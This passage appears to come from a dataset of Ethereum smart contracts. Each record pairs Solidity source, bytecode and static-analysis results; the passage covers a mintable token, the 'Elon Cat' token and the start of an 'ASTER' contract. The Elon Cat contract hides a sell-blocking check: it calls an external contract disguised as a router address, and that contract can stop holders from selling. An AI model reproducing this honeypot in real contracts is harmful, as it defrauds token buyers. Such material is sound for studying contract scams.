the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } constructor(address _owner) public Ownable(_owner) { } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** @title Token */ contract Token is DetailedERC20, MintableToken { /** @dev Constructor * @param _owner Token contract owner * @param _name Token name * @param _symbol Token symbol * @param _decimals number of decimals in the token(usually 18) */ constructor( address _owner, string _name, string _symbol, uint8 _decimals ) public MintableToken(_owner) DetailedERC20(_name, _symbol, _decimals) { } /** @dev Updates token name * @param _name New token name */ function updateName(string _name) public onlyOwner { require(bytes(_name).length != 0); name = _name; } /** @dev Updates token symbol * @param _symbol New token name */ function updateSymbol(string _symbol) public onlyOwner { require(bytes(_symbol).length != 0); symbol = _symbol; } }
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100c9578063095ea7b3146100f257806318160ddd1461011657806323b872dd1461013d57806340c10f1914610167578063661884631461018b57806370a08231146101af5780637d64bcb4146101d05780638da5cb5b146101e5578063a9059cbb14610216578063d73dd6231461023a578063dd62ed3e1461025e578063f2fde38b14610285575b600080fd5b3480156100d557600080fd5b506100de6102a8565b604080519115158252519081900360200190f35b3480156100fe57600080fd5b506100de600160a060020a03600435166024356102c9565b34801561012257600080fd5b5061012b61032f565b60408051918252519081900360200190f35b34801561014957600080fd5b506100de600160a060020a0360043581169060243516604435610335565b34801561017357600080fd5b506100de600160a060020a03600435166024356104ac565b34801561019757600080fd5b506100de600160a060020a03600435166024356105c7565b3480156101bb57600080fd5b5061012b600160a060020a03600435166106b7565b3480156101dc57600080fd5b506100de6106d2565b3480156101f157600080fd5b506101fa610778565b60408051600160a060020a039092168252519081900360200190f35b34801561022257600080fd5b506100de600160a060020a0360043516602435610787565b34801561024657600080fd5b506100de600160a060020a0360043516602435610868565b34801561026a57600080fd5b5061012b600160a060020a0360043581169060243516610901565b34801561029157600080fd5b506102a6600160a060020a036004351661092c565b005b60035474010000000000000000000000000000000000000000900460ff1681565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561034c57600080fd5b600160a060020a03841660009081526020819052604090205482111561037157600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156103a157600080fd5b600160a060020a0384166000908152602081905260409020546103ca908363ffffffff6109c116565b600160a060020a0380861660009081526020819052604080822093909355908516815220546103ff908363ffffffff6109d316565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610441908363ffffffff6109c116565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600354600090600160a060020a031633146104c657600080fd5b60035474010000000000000000000000000000000000000000900460ff16156104ee57600080fd5b600154610501908363ffffffff6109d316565b600155600160a060020a03831660009081526020819052604090205461052d908363ffffffff6109d316565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561061c57336000908152600260209081526040808320600160a060020a0388168452909152812055610651565b61062c818463ffffffff6109c116565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a031633146106ec57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561071457600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6000600160a060020a038316151561079e57600080fd5b336000908152602081905260409020548211156107ba57600080fd5b336000908152602081905260409020546107da908363ffffffff6109c116565b3360009081526020819052604080822092909255600160a060020a0385168152205461080c908363ffffffff6109d316565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461089c908363ffffffff6109d316565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461094357600080fd5b600160a060020a038116151561095857600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828211156109cd57fe5b50900390565b6000828201838110156109e257fe5b93925050505600a165627a7a723058201e8d4a61a6e87fe4bfbace4e266c3909f121ecbb406c77012a5abf712b7a7afc0029
{"success": true, "error": null, "results": {}}
7,235
0x13d1FCB6Cf26D5435D636b9ec7aADA6355dd5dbe
/** *Submitted for verification at Etherscan.io on 2021-11-24 */ //SPDX-License-Identifier: MIT // Telegram: t.me/ElonCatToken // Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function) // Built-in tax mechanism, can be removed by calling lowerTax function pragma solidity ^0.8.9; uint256 constant INITIAL_TAX=9; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="ELONCAT"; string constant TOKEN_NAME="Elon Cat"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract ElonCat is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(20); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102935780639e752b95146102c3578063a9059cbb146102e3578063dd62ed3e14610303578063f42938901461034957600080fd5b806356d9dce81461022157806370a0823114610236578063715018a6146102565780638da5cb5b1461026b57600080fd5b8063293230b8116100d1578063293230b8146101c4578063313ce567146101db5780633e07ce5b146101f757806351bc3c851461020c57600080fd5b806306fdde031461010e578063095ea7b31461015157806318160ddd1461018157806323b872dd146101a457600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082019091526008815267115b1bdb8810d85d60c21b60208201525b60405161014891906114f5565b60405180910390f35b34801561015d57600080fd5b5061017161016c36600461155f565b61035e565b6040519015158152602001610148565b34801561018d57600080fd5b50610196610375565b604051908152602001610148565b3480156101b057600080fd5b506101716101bf36600461158b565b610396565b3480156101d057600080fd5b506101d96103ff565b005b3480156101e757600080fd5b5060405160068152602001610148565b34801561020357600080fd5b506101d9610777565b34801561021857600080fd5b506101d96107ad565b34801561022d57600080fd5b506101d96107da565b34801561024257600080fd5b506101966102513660046115cc565b61085b565b34801561026257600080fd5b506101d961087d565b34801561027757600080fd5b506000546040516001600160a01b039091168152602001610148565b34801561029f57600080fd5b50604080518082019091526007815266115313d390d05560ca1b602082015261013b565b3480156102cf57600080fd5b506101d96102de3660046115e9565b610921565b3480156102ef57600080fd5b506101716102fe36600461155f565b61094a565b34801561030f57600080fd5b5061019661031e366004611602565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035557600080fd5b506101d9610957565b600061036b3384846109c1565b5060015b92915050565b60006103836006600a611735565b610391906305f5e100611744565b905090565b60006103a3848484610ae5565b6103f584336103f0856040518060600160405280602881526020016118c2602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e21565b6109c1565b5060019392505050565b6009546001600160a01b0316331461041657600080fd5b600c54600160a01b900460ff16156104755760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a19030906001600160a01b03166104936006600a611735565b6103f0906305f5e100611744565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105189190611763565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059e9190611763565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060f9190611763565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061063f8161085b565b6000806106546000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106bc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e19190611780565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610750573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077491906117ae565b50565b6009546001600160a01b0316331461078e57600080fd5b61079a6006600a611735565b6107a8906305f5e100611744565b600a55565b6009546001600160a01b031633146107c457600080fd5b60006107cf3061085b565b905061077481610e5b565b6009546001600160a01b031633146107f157600080fd5b600c54600160a01b900460ff1661084a5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046c565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036f90610fd5565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093857600080fd5b6009811061094557600080fd5b600855565b600061036b338484610ae5565b6009546001600160a01b0316331461096e57600080fd5b4761077481611052565b60006109ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611090565b9392505050565b6001600160a01b038316610a235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046c565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046c565b6001600160a01b038216610bab5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046c565b60008111610c0d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046c565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8091906117d0565b600c546001600160a01b038481169116148015610cab5750600b546001600160a01b03858116911614155b610cb6576000610cb8565b815b1115610cc357600080fd5b6000546001600160a01b03848116911614801590610cef57506000546001600160a01b03838116911614155b15610e1157600c546001600160a01b038481169116148015610d1f5750600b546001600160a01b03838116911614155b8015610d4457506001600160a01b03821660009081526004602052604090205460ff16155b15610d9a57600a548110610d9a5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046c565b6000610da53061085b565b600c54909150600160a81b900460ff16158015610dd05750600c546001600160a01b03858116911614155b8015610de55750600c54600160b01b900460ff165b15610e0f57610df381610e5b565b47670de0b6b3a7640000811115610e0d57610e0d47611052565b505b505b610e1c8383836110be565b505050565b60008184841115610e455760405162461bcd60e51b815260040161046c91906114f5565b506000610e5284866117e9565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea357610ea3611800565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f209190611763565b81600181518110610f3357610f33611800565b6001600160a01b039283166020918202929092010152600b54610f5991309116846109c1565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f92908590600090869030904290600401611816565b600060405180830381600087803b158015610fac57600080fd5b505af1158015610fc0573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561103c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046c565b60006110466110c9565b90506109ba8382610978565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561108c573d6000803e3d6000fd5b5050565b600081836110b15760405162461bcd60e51b815260040161046c91906114f5565b506000610e528486611887565b610e1c8383836110ec565b60008060006110d66111e3565b90925090506110e58282610978565b9250505090565b6000806000806000806110fe87611265565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113090876112c2565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115f9086611304565b6001600160a01b03891660009081526002602052604090205561118181611363565b61118b84836113ad565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d091815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f86006600a611735565b611206906305f5e100611744565b905061122e6112176006600a611735565b611225906305f5e100611744565b60055490610978565b82101561125c576005546112446006600a611735565b611252906305f5e100611744565b9350935050509091565b90939092509050565b60008060008060008060008060006112828a6007546008546113d1565b92509250925060006112926110c9565b905060008060006112a58e878787611426565b919e509c509a509598509396509194505050505091939550919395565b60006109ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e21565b60008061131183856118a9565b9050838110156109ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046c565b600061136d6110c9565b9050600061137b8383611476565b306000908152600260205260409020549091506113989082611304565b30600090815260026020526040902055505050565b6005546113ba90836112c2565b6005556006546113ca9082611304565b6006555050565b60008080806113eb60646113e58989611476565b90610978565b905060006113fe60646113e58a89611476565b90506000611416826114108b866112c2565b906112c2565b9992985090965090945050505050565b60008080806114358886611476565b905060006114438887611476565b905060006114518888611476565b905060006114638261141086866112c2565b939b939a50919850919650505050505050565b6000826114855750600061036f565b60006114918385611744565b90508261149e8583611887565b146109ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046c565b600060208083528351808285015260005b8181101561152257858101830151858201604001528201611506565b81811115611534576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077457600080fd5b6000806040838503121561157257600080fd5b823561157d8161154a565b946020939093013593505050565b6000806000606084860312156115a057600080fd5b83356115ab8161154a565b925060208401356115bb8161154a565b929592945050506040919091013590565b6000602082840312156115de57600080fd5b81356109ba8161154a565b6000602082840312156115fb57600080fd5b5035919050565b6000806040838503121561161557600080fd5b82356116208161154a565b915060208301356116308161154a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168c5781600019048211156116725761167261163b565b8085161561167f57918102915b93841c9390800290611656565b509250929050565b6000826116a35750600161036f565b816116b05750600061036f565b81600181146116c657600281146116d0576116ec565b600191505061036f565b60ff8411156116e1576116e161163b565b50506001821b61036f565b5060208310610133831016604e8410600b841016171561170f575081810a61036f565b6117198383611651565b806000190482111561172d5761172d61163b565b029392505050565b60006109ba60ff841683611694565b600081600019048311821515161561175e5761175e61163b565b500290565b60006020828403121561177557600080fd5b81516109ba8161154a565b60008060006060848603121561179557600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c057600080fd5b815180151581146109ba57600080fd5b6000602082840312156117e257600080fd5b5051919050565b6000828210156117fb576117fb61163b565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118665784516001600160a01b031683529383019391830191600101611841565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a457634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118bc576118bc61163b565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200711c4bccacbcf41463774196fb5de3e843101976db4d7028186708eb0af6d1264736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,236
0x6299b67deac218e34f735b7f3d88d4b951b251e1
// /\ _ \/\ _`\ /\__ _\/\ _`\ /\ _`\ // \ \ \L\ \ \,\L\_\/_/\ \/\ \ \L\_\ \ \L\ \ // \ \ __ \/_\__ \ \ \ \ \ \ _\L\ \ , / // \ \ \/\ \/\ \L\ \ \ \ \ \ \ \L\ \ \ \\ \ // \ \_\ \_\ `\____\ \ \_\ \ \____/\ \_\ \_\ // \/_/\/_/\/_____/ \/_/ \/___/ \/_/\/ / // ASTER PROJECT - ASTER-3H // SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow");} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c;} function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero");} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c;} function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero");} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b;} } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Uniswap{ function 